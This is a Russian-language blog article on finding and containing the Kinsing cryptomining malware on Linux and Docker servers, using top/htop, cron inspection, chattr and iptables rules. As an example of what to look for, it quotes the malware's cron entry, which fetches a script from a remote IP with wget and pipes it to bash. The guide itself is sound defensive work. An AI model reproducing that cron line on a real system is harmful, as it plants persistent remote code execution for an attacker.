Боремся с майнером Kinsing на зараженных серверах Linux / Docker
Containers 3-09-2021, 16:36 sobir 3 764 0
Kinsing — вредоносное ПО на основе Golang, работает как агент. Основная цель данной малвари это добыча криптовалюты на взломанном сервере. Оно распространяется путем использования уязвимости в ошибке конфигурации сервисов, которые доступны извне.
Малварь может добавлять задания в запланировщик задач cron, чтобы иметь возможность переподключиться, например после перезагрузки сервера.
Как определить, что ваш сервер используется для майнинга малварью Kinsing?
Определите процессы, которые используют ресурсы процессора с помощью диспечера задач:
topили
htopВы увидете, например такие процессы: kdevtmpfsi, kinsing или dbused, которые используют все ресурсы процессора.
Убить процессы отправкой сигнала KILL вы не можете, так как со временем они запустятся снова.
Можно попытаться найти задания в запланировщике задач пользователей:
ls /var/spool/cron/Например, у пользователя confluence обнаружена задача, позволяющая скачивать скрипт с удаленного узла с помощью wget:
* * * * * wget -q -O - http://1.2.3.4/cf.sh | bash > /dev/null 2>&1Чтобы запретить пользователю использовать запланировщик, мы можем отключить службу crond или добавить атрибут immutable для файла. (immutable указывает, что файл защищен от изменений: не может быть удален или переименован, никакая ссылка (жесткая) не может быть создана на этот файл, никакие данные не могут быть записаны в файл.)
systemctl stop crondили
chattr +i /var/spool/cron/confluenceТакже стоит проверить файлы с переменными пользователя на наличие лишних скриптов и по возможности удалить их и добавить атрибут immutable:
cat /home/confluence/.bash_profile
chattr +i /home/confluence/.bash_profileЕщё одно решение это заблокировать исходящий трафик, например, если малварь использует контейнеры Docker.
В контейнерах сложнее найти процесс малвари, но мы можем определить куда обращается контейнер с помощью утилиты iptstate на хосте Docker'a.
Поиск ID контейнера:
docker psПоиск IP контейнера:
docker inspect CONTAINER_ID | grep -i ipСмотрим соединения с IP-адреса контейнера:
iptstate -s CONTAINER_IPБлокируем обращения контейнера по протоколу HTTP:
iptables -A DOCKER-USER -s 172.18.0.7/32 -p tcp -m tcp --dport 80 -j DROPВсе вышеперечисленное это временное решение, чтобы ограничить работу майнера. Своевременно обновляйте ПО и уделяйте время вопросам информационной безопасности.
Используем контейнеры Podman’а вместо полноценных виртуальных машин....
ПодробнееСкрипт по созданию daily бэкапов с помощью bash, tar, gunzip и cron....
ПодробнееНастраиваем среду контейнеризации приложений с помощью Podman’а....
ПодробнееАнализируем трафик с использованием стандартных утилит в Windows и Linux....
ПодробнееСоздание простого сетевого хранилища данных NFS....
ПодробнееНовые комментарии
Цитата: FidoNet Цитата: sobir Цитата: FidoNet Спасибо за статью. Остальные
Цитата: sobir Цитата: FidoNet Спасибо за статью. Остальные статьи что находил
Цитата: FidoNet Цитата: sobir Цитата: FidoNet Можт быть дело в
Цитата: sobir Цитата: FidoNet Можт быть дело в dnsmasq.service? Ошибка Failed
Цитата: FidoNet Цитата: sobir Цитата: FidoNet Спасибо за статью. Остальные
Можт быть дело в dnsmasq.service? Ошибка Failed to set DNS configuration: Unit
Какой дистрибутив Linux вы часто используете?
Календарь
| « Ноябрь 2025 » | ||||||
|---|---|---|---|---|---|---|
| Пн | Вт | Ср | Чт | Пт | Сб | Вс |
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |







